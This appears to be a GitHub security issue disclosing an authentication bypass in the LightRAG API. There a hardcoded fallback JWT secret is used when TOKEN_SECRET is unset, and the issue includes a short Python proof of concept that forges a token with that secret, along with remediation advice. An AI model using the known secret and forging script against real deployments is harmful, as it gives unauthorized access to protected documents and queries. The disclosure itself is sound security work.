Skip to content

[Security] Hardcoded JWT Fallback Secret Enables Authentication Bypass #97

Description

@28Hus

Hardcoded JWT Fallback Secret Enables Authentication Bypass

Hello maintainers,

Could you please review a conditional authentication bypass in the LightRAG API?

Impact

When AUTH_ACCOUNTS is configured but TOKEN_SECRET is omitted, the API uses the publicly known signing key lightrag-jwt-default-secret. An unauthenticated remote attacker can sign a non-guest JWT and access protected endpoints without knowing any configured account password. This includes document status and query routes.

The impact is conditional: AUTH_ACCOUNTS defaults to an empty value, which disables JWT account authentication. This report concerns deployments that enable account authentication but leave the signing secret unset.

Evidence

Image

Reproduction

On a local instance you control, configure a non-empty AUTH_ACCOUNTS and leave TOKEN_SECRET unset:

import time
import jwt
import requests

base_url = "http://127.0.0.1:9621"
token = jwt.encode(
    {
        "sub": "attacker",
        "role": "user",
        "metadata": {},
        "exp": int(time.time()) + 300,
    },
    "lightrag-jwt-default-secret",
    algorithm="HS256",
)

response = requests.get(
    f"{base_url}/documents",
    headers={"Authorization": f"Bearer {token}"},
)
print(response.status_code, response.text)

Expected result: a request without credentials is rejected, while the forged token is accepted. This PoC was not executed; it follows the code paths linked above.

Remediation

Remove the insecure fallback. Require a strong, randomly generated TOKEN_SECRET when AUTH_ACCOUNTS is set, and fail startup if it is missing. Rotate the signing key on affected deployments to invalidate forged tokens.

Related works

This report is part of my ongoing research. If you have any questions, please feel free to mention me here at any time. I’d be glad to contribute, however modestly, to improving the security of your project.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions